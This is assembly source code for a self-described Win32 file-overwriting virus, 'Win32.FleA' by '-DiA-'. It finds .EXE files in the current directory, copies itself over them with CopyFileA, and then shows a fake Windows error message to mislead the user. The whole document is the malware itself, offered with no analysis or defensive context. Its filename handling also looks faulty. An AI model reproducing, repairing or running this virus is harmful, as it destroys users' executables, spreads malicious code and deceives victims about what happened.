.386 .model flat jumps extrn GetCommandLineA:PROC extrn lstrcpyA:PROC extrn FindFirstFileA:PROC extrn CopyFileA:PROC extrn FindNextFileA:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC .data CopyRight db 'Win32.FleA Virus' db 'Version 1.0' db 'by -DiA- (c)02' db '[My 1st Win32 Virus!]' FakeError db 'Windows Error 300687',10,13 db 'Can not locate the Entry Point!',0 FileMask db '*.EXE',0 Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0 WhatMake dd 200d dup (0) MakeThat dd 200d dup (0) ThisProg dd 200d dup (0) FindHandle dd 0 .code start: call GetCommandLineA push eax push offset ThisProg call lstrcpyA GetPoint: cmp byte ptr [eax],'.' jz FoundPoint inc eax jmp GetPoint FoundPoint: add eax,4d mov byte ptr [eax],00 push offset Win32FindData push offset FileMask call FindFirstFileA mov dword ptr [FindHandle],eax FindNext: cmp eax,-1 je ErrorMsg or eax,eax jz ErrorMsg push offset WhatMake push offset MakeThat call lstrcpyA push 0 push offset MakeThat push offset ThisProg+1 call CopyFileA push offset Win32FindData push dword ptr [FindHandle] call FindNextFileA jmp FindNext ErrorMsg: push 16 push offset ThisProg+1 push offset FakeError push 0 call MessageBoxA push 0 call ExitProcess end start